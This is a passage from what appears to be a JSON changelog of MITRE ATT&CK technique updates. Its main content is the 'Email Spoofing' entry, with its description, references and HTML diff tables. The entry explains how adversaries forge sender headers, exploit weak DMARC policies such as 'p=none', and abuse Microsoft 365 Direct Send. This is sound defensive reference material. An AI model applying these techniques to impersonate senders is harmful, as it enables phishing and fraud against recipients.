nowrap=\"nowrap\">Phishing&nbsp;for&nbsp;Information](https://attack.mitre.org/technique</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es/T1598)&nbsp;or&nbsp;[Search&nbsp;Open&nbsp;Technical&nbsp;Databases](https://attac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s/T1598)&nbsp;or&nbsp;[Search&nbsp;Open&nbsp;Technical&nbsp;Databases](https://attack</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k.mitre.org/techniques/T1596)),&nbsp;establishing&nbsp;operational&nbsp;res</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.mitre.org/techniques/T1596)),&nbsp;establishing&nbsp;operational&nbsp;reso</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ources&nbsp;(ex:&nbsp;[Establish&nbsp;Accounts](https://attack.mitre.org/te</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urces&nbsp;(ex:&nbsp;[Establish&nbsp;Accounts](https://attack.mitre.org/tec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">chniques/T1585)&nbsp;or&nbsp;[Compromise&nbsp;Accounts](https://attack.mitr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hniques/T1585)&nbsp;or&nbsp;[Compromise&nbsp;Accounts](https://attack.mitre</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.org/techniques/T1586)),&nbsp;and/or&nbsp;initial&nbsp;access&nbsp;(ex:&nbsp;[Spearp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.org/techniques/T1586)),&nbsp;and/or&nbsp;initial&nbsp;access&nbsp;(ex:&nbsp;[Spearph</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hishing&nbsp;via&nbsp;Service](https://attack.mitre.org/techniques/T15</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ishing&nbsp;via&nbsp;Service](https://attack.mitre.org/techniques/T156</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">66/003)).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">6/003)).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1056: Pre-compromise"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0812: Detection of Social Media"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--fcf5bccf-be7a-48ff-b7a7-8d6019279301",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-04-14 22:54:01.539000+00:00",
                    "modified": "2026-11-03 19:27:41.389000+00:00",
                    "name": "Email Spoofing",
                    "description": "Adversaries may fake, or spoof, a sender\u2019s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024)\u00a0In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity.\n\nEnterprise environments can use Domain-based Message Authentication, Reporting, and Conformance (DMARC) as an email authentication protocol that references results of the Sender Policy Framework (SPF) and DomainKeys Identified Mail (DKIM) configurations. SPF and DKIM are configured separately in DNS: SPF verifies that the sending server is authorized for the domain, while DKIM uses a digital signature to verify email integrity and domain authentication. Together, they validate email authenticity and specify how receiving servers should handle authentication failures. Without enforced identity authentication, adversaries may compromise the integrity of an authentication check with altered headers that would not have otherwise passed.(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC)\n\nAn example of a weak or absent DMARC policy is `v=DMARC1; p=none; fo=1;`. The `p=none` indicates no action should be taken, and therefore no filtering action will take place, even if an email fails authentication checks (i.e., SPF and/or DKIM fail). When a DMARC policy indicates no action, the email will still be delivered to the victim\u2019s inbox.(Citation: ic3-dprk) \n\nAdversaries have abused weak or absent DMARC policies to circumvent authentication checks and conceal social engineering attempts. Adversaries can alter email headers to include legitimate domain names with fake usernames or impersonate legitimate users via [Impersonation](https://attack.mitre.org/techniques/T1684/001) for [Phishing](https://attack.mitre.org/techniques/T1566). Additionally, adversaries may abuse Microsoft 365\u2019s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1684/002",
                            "external_id": "T1684.002"
                        },
                        {
                            "source_name": "Cloudflare DMARC, DKIM, and SPF",
                            "description": "Cloudflare. (n.d.). What are DMARC, DKIM, and SPF?. Retrieved April 8, 2025.",
                            "url": "https://www.cloudflare.com/learning/email-security/dmarc-dkim-spf/"
                        },
                        {
                            "source_name": "DMARC-overview",
                            "description": "DMARC. (n.d.). Retrieved March 24, 2025.",
                            "url": "https://dmarc.org/overview"
                        },
                        {
                            "source_name": "ic3-dprk",
                            "description": "FBI, State Department, NSA. (2024, May 2). North Korean Actors Exploit Weak DMARC Security Policies to Mask Spearphishing Efforts. Retrieved April 2, 2025.",
                            "url": "https://www.ic3.gov/CSA/2024/240502.pdf"
                        },
                        {
                            "source_name": "Proofpoint TA427 April 2024",
                            "description": "Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427\u2019s Art of Information Gathering. Retrieved May 3, 2024.",
                            "url": "https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering"
                        },
                        {
                            "source_name": "Proofpoint-DMARC",
                            "description": "Proofpoint. (n.d.). Retrieved March 24, 2025.",
                            "url": "https://www.proofpoint.com/us/threat-reference/dmarc"
                        },
                        {
                            "source_name": "Barnea DirectSend",
                            "description": "Tom Barnea. (2025, September 9). Ongoing Campaign Abuses Microsoft 365\u2019s Direct Send to Deliver Phishing Emails. Retrieved September 24, 2025.",
                            "url": "https://www.varonis.com/blog/direct-send-exploit"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Office Suite",
                        "Windows"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 19:27:41.389000+00:00\", \"old_value\": \"2026-05-12 15:12:00.726000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may fake, or spoof, a sender\\u2019s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024)\\u00a0In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity.\\n\\nEnterprise environments can use Domain-based Message Authentication, Reporting, and Conformance (DMARC) as an email authentication protocol that references results of the Sender Policy Framework (SPF) and DomainKeys Identified Mail (DKIM) configurations. SPF and DKIM are configured separately in DNS: SPF verifies that the sending server is authorized for the domain, while DKIM uses a digital signature to verify email integrity and domain authentication. Together, they validate email authenticity and specify how receiving servers should handle authentication failures. Without enforced identity authentication, adversaries may compromise the integrity of an authentication check with altered headers that would not have otherwise passed.(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC)\\n\\nAn example of a weak or absent DMARC policy is `v=DMARC1; p=none; fo=1;`. The `p=none` indicates no action should be taken, and therefore no filtering action will take place, even if an email fails authentication checks (i.e., SPF and/or DKIM fail). When a DMARC policy indicates no action, the email will still be delivered to the victim\\u2019s inbox.(Citation: ic3-dprk) \\n\\nAdversaries have abused weak or absent DMARC policies to circumvent authentication checks and conceal social engineering attempts. Adversaries can alter email headers to include legitimate domain names with fake usernames or impersonate legitimate users via [Impersonation](https://attack.mitre.org/techniques/T1684/001) for [Phishing](https://attack.mitre.org/techniques/T1566). Additionally, adversaries may abuse Microsoft 365\\u2019s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend)\", \"old_value\": \"Adversaries may fake, or spoof, a sender\\u2019s identity by modifying the value of relevant email headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024)\\u00a0In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity.\\n\\nEnterprise environments can use Domain-based Message Authentication, Reporting, and Conformance (DMARC) as an email authentication protocol that references results of the Sender Policy Framework (SPF) and DomainKeys Identified Mail (DKIM) configurations. SPF and DKIM are configured separately in DNS: SPF verifies that the sending server is authorized for the domain, while DKIM uses a digital signature to verify email integrity and domain authentication. Together, they validate email authenticity and specify how receiving servers should handle authentication failures. Without enforced identity authentication, adversaries may compromise the integrity of an authentication check with altered headers that would not have otherwise passed.(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC)\\n\\nAn example of a weak or absent DMARC policy is `v=DMARC1; p=none; fo=1;`. The `p=none`. The `p=none` indicates no action should be taken, and therefore no filtering action will take place, even if an email fails authentication checks (i.e., SPF and/or DKIM fail). When a DMARC policy indicates no action, the email will still be delivered to the victim\\u2019s inbox.(Citation: ic3-dprk) \\n\\nAdversaries have abused weak or absent DMARC policies to circumvent authentication checks and conceal social engineering attempts. Adversaries can alter email headers to include legitimate domain names with fake usernames or impersonate legitimate users via [Impersonation](https://attack.mitre.org/techniques/T1684/001) for [Phishing](https://attack.mitre.org/techniques/T1566). Additionally, adversaries may abuse Microsoft 365\\u2019s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend)\", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,6 @@\\n \\n Enterprise environments can use Domain-based Message Authentication, Reporting, and Conformance (DMARC) as an email authentication protocol that references results of the Sender Policy Framework (SPF) and DomainKeys Identified Mail (DKIM) configurations. SPF and DKIM are configured separately in DNS: SPF verifies that the sending server is authorized for the domain, while DKIM uses a digital signature to verify email integrity and domain authentication. Together, they validate email authenticity and specify how receiving servers should handle authentication failures. Without enforced identity authentication, adversaries may compromise the integrity of an authentication check with altered headers that would not have otherwise passed.(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC)\\n \\n-An example of a weak or absent DMARC policy is `v=DMARC1; p=none; fo=1;`. The `p=none`. The `p=none` indicates no action should be taken, and therefore no filtering action will take place, even if an email fails authentication checks (i.e., SPF and/or DKIM fail). When a DMARC policy indicates no action, the email will still be delivered to the victim\\u2019s inbox.(Citation: ic3-dprk) \\n+An example of a weak or absent DMARC policy is `v=DMARC1; p=none; fo=1;`. The `p=none` indicates no action should be taken, and therefore no filtering action will take place, even if an email fails authentication checks (i.e., SPF and/or DKIM fail). When a DMARC policy indicates no action, the email will still be delivered to the victim\\u2019s inbox.(Citation: ic3-dprk) \\n \\n Adversaries have abused weak or absent DMARC policies to circumvent authentication checks and conceal social engineering attempts. Adversaries can alter email headers to include legitimate domain names with fake usernames or impersonate legitimate users via [Impersonation](https://attack.mitre.org/techniques/T1684/001) for [Phishing](https://attack.mitre.org/techniques/T1566). Additionally, adversaries may abuse Microsoft 365\\u2019s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend)\"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to25__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to25__0\"><a href=\"#difflib_chg_to25__top\">t</a></td><td class=\"diff_header\" id=\"from25_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;fake,&nbsp;or&nbsp;spoof,&nbsp;a&nbsp;sender\u2019s&nbsp;identity&nbsp;by&nbsp;modif</td><td class=\"diff_next\"><a href=\"#difflib_chg_to25__top\">t</a></td><td class=\"diff_header\" id=\"to25_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;fake,&nbsp;or&nbsp;spoof,&nbsp;a&nbsp;sender\u2019s&nbsp;identity&nbsp;by&nbsp;modif</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ying&nbsp;the&nbsp;value&nbsp;of&nbsp;relevant&nbsp;email&nbsp;headers&nbsp;in&nbsp;order&nbsp;to&nbsp;establi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ying&nbsp;the&nbsp;value&nbsp;of&nbsp;relevant&nbsp;email&nbsp;headers&nbsp;in&nbsp;order&nbsp;to&nbsp;establi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sh&nbsp;contact&nbsp;with&nbsp;victims&nbsp;under&nbsp;false&nbsp;pretenses.(Citation:&nbsp;Pro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sh&nbsp;contact&nbsp;with&nbsp;victims&nbsp;under&nbsp;false&nbsp;pretenses.(Citation:&nbsp;Pro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ofpoint&nbsp;TA427&nbsp;April&nbsp;2024)\u00a0In&nbsp;addition&nbsp;to&nbsp;actual&nbsp;email&nbsp;conten</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ofpoint&nbsp;TA427&nbsp;April&nbsp;2024)\u00a0In&nbsp;addition&nbsp;to&nbsp;actual&nbsp;email&nbsp;conten</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t,&nbsp;email&nbsp;headers&nbsp;(such&nbsp;as&nbsp;the&nbsp;FROM&nbsp;header,&nbsp;which&nbsp;contains&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t,&nbsp;email&nbsp;headers&nbsp;(such&nbsp;as&nbsp;the&nbsp;FROM&nbsp;header,&nbsp;which&nbsp;contains&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;email&nbsp;address&nbsp;of&nbsp;the&nbsp;sender)&nbsp;may&nbsp;also&nbsp;be&nbsp;modified.&nbsp;Email&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;email&nbsp;address&nbsp;of&nbsp;the&nbsp;sender)&nbsp;may&nbsp;also&nbsp;be&nbsp;modified.&nbsp;Email&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lients&nbsp;display&nbsp;these&nbsp;headers&nbsp;when&nbsp;emails&nbsp;appear&nbsp;in&nbsp;a&nbsp;victim'</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lients&nbsp;display&nbsp;these&nbsp;headers&nbsp;when&nbsp;emails&nbsp;appear&nbsp;in&nbsp;a&nbsp;victim'</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;inbox,&nbsp;which&nbsp;may&nbsp;cause&nbsp;modified&nbsp;emails&nbsp;to&nbsp;appear&nbsp;as&nbsp;if&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;inbox,&nbsp;which&nbsp;may&nbsp;cause&nbsp;modified&nbsp;emails&nbsp;to&nbsp;appear&nbsp;as&nbsp;if&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;were&nbsp;from&nbsp;the&nbsp;spoofed&nbsp;entity.&nbsp;&nbsp;Enterprise&nbsp;environments&nbsp;can</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;were&nbsp;from&nbsp;the&nbsp;spoofed&nbsp;entity.&nbsp;&nbsp;Enterprise&nbsp;environments&nbsp;can</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;use&nbsp;Domain-based&nbsp;Message&nbsp;Authentication,&nbsp;Reporting,&nbsp;and&nbsp;Con</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;use&nbsp;Domain-based&nbsp;Message&nbsp;Authentication,&nbsp;Reporting,&nbsp;and&nbsp;Con</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">formance&nbsp;(DMARC)&nbsp;as&nbsp;an&nbsp;email&nbsp;authentication&nbsp;protocol&nbsp;that&nbsp;re</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">formance&nbsp;(DMARC)&nbsp;as&nbsp;an&nbsp;email&nbsp;authentication&nbsp;protocol&nbsp;that&nbsp;re</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ferences&nbsp;results&nbsp;of&nbsp;the&nbsp;Sender&nbsp;Policy&nbsp;Framework&nbsp;(SPF)&nbsp;and&nbsp;Do</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ferences&nbsp;results&nbsp;of&nbsp;the&nbsp;Sender&nbsp;Policy&nbsp;Framework&nbsp;(SPF)&nbsp;and&nbsp;Do</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mainKeys&nbsp;Identified&nbsp;Mail&nbsp;(DKIM)&nbsp;configurations.&nbsp;SPF&nbsp;and&nbsp;DKIM</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mainKeys&nbsp;Identified&nbsp;Mail&nbsp;(DKIM)&nbsp;configurations.&nbsp;SPF&nbsp;and&nbsp;DKIM</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;are&nbsp;configured&nbsp;separately&nbsp;in&nbsp;DNS:&nbsp;SPF&nbsp;verifies&nbsp;that&nbsp;the&nbsp;sen</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;are&nbsp;configured&nbsp;separately&nbsp;in&nbsp;DNS:&nbsp;SPF&nbsp;verifies&nbsp;that&nbsp;the&nbsp;sen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ding&nbsp;server&nbsp;is&nbsp;authorized&nbsp;for&nbsp;the&nbsp;domain,&nbsp;while&nbsp;DKIM&nbsp;uses&nbsp;a&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ding&nbsp;server&nbsp;is&nbsp;authorized&nbsp;for&nbsp;the&nbsp;domain,&nbsp;while&nbsp;DKIM&nbsp;uses&nbsp;a&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">digital&nbsp;signature&nbsp;to&nbsp;verify&nbsp;email&nbsp;integrity&nbsp;and&nbsp;domain&nbsp;authe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">digital&nbsp;signature&nbsp;to&nbsp;verify&nbsp;email&nbsp;integrity&nbsp;and&nbsp;domain&nbsp;authe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntication.&nbsp;Together,&nbsp;they&nbsp;validate&nbsp;email&nbsp;authenticity&nbsp;and&nbsp;sp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntication.&nbsp;Together,&nbsp;they&nbsp;validate&nbsp;email&nbsp;authenticity&nbsp;and&nbsp;sp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecify&nbsp;how&nbsp;receiving&nbsp;servers&nbsp;should&nbsp;handle&nbsp;authentication&nbsp;fai</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ecify&nbsp;how&nbsp;receiving&nbsp;servers&nbsp;should&nbsp;handle&nbsp;authentication&nbsp;fai</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lures.&nbsp;Without&nbsp;enforced&nbsp;identity&nbsp;authentication,&nbsp;adversaries</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lures.&nbsp;Without&nbsp;enforced&nbsp;identity&nbsp;authentication,&nbsp;adversaries</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;compromise&nbsp;the&nbsp;integrity&nbsp;of&nbsp;an&nbsp;authentication&nbsp;check&nbsp;wit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;compromise&nbsp;the&nbsp;integrity&nbsp;of&nbsp;an&nbsp;authentication&nbsp;check&nbsp;wit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;altered&nbsp;headers&nbsp;that&nbsp;would&nbsp;not&nbsp;have&nbsp;otherwise&nbsp;passed.(Cita</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;altered&nbsp;headers&nbsp;that&nbsp;would&nbsp;not&nbsp;have&nbsp;otherwise&nbsp;passed.(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Cloudflare&nbsp;DMARC,&nbsp;DKIM,&nbsp;and&nbsp;SPF)(Citation:&nbsp;DMARC-overv</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Cloudflare&nbsp;DMARC,&nbsp;DKIM,&nbsp;and&nbsp;SPF)(Citation:&nbsp;DMARC-overv</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iew)(Citation:&nbsp;Proofpoint-DMARC)&nbsp;&nbsp;An&nbsp;example&nbsp;of&nbsp;a&nbsp;weak&nbsp;or&nbsp;ab</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iew)(Citation:&nbsp;Proofpoint-DMARC)&nbsp;&nbsp;An&nbsp;example&nbsp;of&nbsp;a&nbsp;weak&nbsp;or&nbsp;ab</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sent&nbsp;DMARC&nbsp;policy&nbsp;is&nbsp;`v=DMARC1;&nbsp;p=none;&nbsp;fo=1;`.&nbsp;The&nbsp;`p=none`</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sent&nbsp;DMARC&nbsp;policy&nbsp;is&nbsp;`v=DMARC1;&nbsp;p=none;&nbsp;fo=1;`.&nbsp;The&nbsp;`p=none`</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">.&nbsp;The&nbsp;`p=none`&nbsp;indicates&nbsp;no&nbsp;action&nbsp;should</span>&nbsp;be&nbsp;taken,&nbsp;and&nbsp;ther</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">&nbsp;indicates&nbsp;no&nbsp;action&nbsp;should</span>&nbsp;be&nbsp;taken,&nbsp;and&nbsp;therefore&nbsp;no&nbsp;filte</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">efore&nbsp;no&nbsp;filtering&nbsp;action&nbsp;will&nbsp;take&nbsp;place,&nbsp;even&nbsp;if&nbsp;an&nbsp;email&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ring&nbsp;action&nbsp;will&nbsp;take&nbsp;place,&nbsp;even&nbsp;if&nbsp;an&nbsp;email&nbsp;fails&nbsp;authenti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">fails&nbsp;authentication&nbsp;checks&nbsp;(i.e.,&nbsp;SPF&nbsp;and/or&nbsp;DKIM&nbsp;fail).&nbsp;Wh</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cation&nbsp;checks&nbsp;(i.e.,&nbsp;SPF&nbsp;and/or&nbsp;DKIM&nbsp;fail).&nbsp;When&nbsp;a&nbsp;DMARC&nbsp;pol</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;a&nbsp;DMARC&nbsp;policy&nbsp;indicates&nbsp;no&nbsp;action,&nbsp;the&nbsp;email&nbsp;will&nbsp;still&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icy&nbsp;indicates&nbsp;no&nbsp;action,&nbsp;the&nbsp;email&nbsp;will&nbsp;still&nbsp;be&nbsp;delivered&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">be&nbsp;delivered&nbsp;to&nbsp;the&nbsp;victim\u2019s&nbsp;inbox.(Citation:&nbsp;ic3-dprk)&nbsp;&nbsp;&nbsp;Ad</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;the&nbsp;victim\u2019s&nbsp;inbox.(Citation:&nbsp;ic3-dprk)&nbsp;&nbsp;&nbsp;Adversaries&nbsp;have</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">versaries&nbsp;have&nbsp;abused&nbsp;weak&nbsp;or&nbsp;absent&nbsp;DMARC&nbsp;policies&nbsp;to&nbsp;circu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;abused&nbsp;weak&nbsp;or&nbsp;absent&nbsp;DMARC&nbsp;policies&nbsp;to&nbsp;circumvent&nbsp;authenti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mvent&nbsp;authentication&nbsp;checks&nbsp;and&nbsp;conceal&nbsp;social&nbsp;engineering&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cation&nbsp;checks&nbsp;and&nbsp;conceal&nbsp;social&nbsp;engineering&nbsp;attempts.&nbsp;Adver</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttempts.&nbsp;Adversaries&nbsp;can&nbsp;alter&nbsp;email&nbsp;headers&nbsp;to&nbsp;include&nbsp;legi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">saries&nbsp;can&nbsp;alter&nbsp;email&nbsp;headers&nbsp;to&nbsp;include&nbsp;legitimate&nbsp;domain&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">timate&nbsp;domain&nbsp;names&nbsp;with&nbsp;fake&nbsp;usernames&nbsp;or&nbsp;impersonate&nbsp;legit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">names&nbsp;with&nbsp;fake&nbsp;usernames&nbsp;or&nbsp;impersonate&nbsp;legitimate&nbsp;users&nbsp;vi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">imate&nbsp;users&nbsp;via&nbsp;[Impersonation](https://attack.mitre.org/tec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;[Impersonation](https://attack.mitre.org/techniques/T1684/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 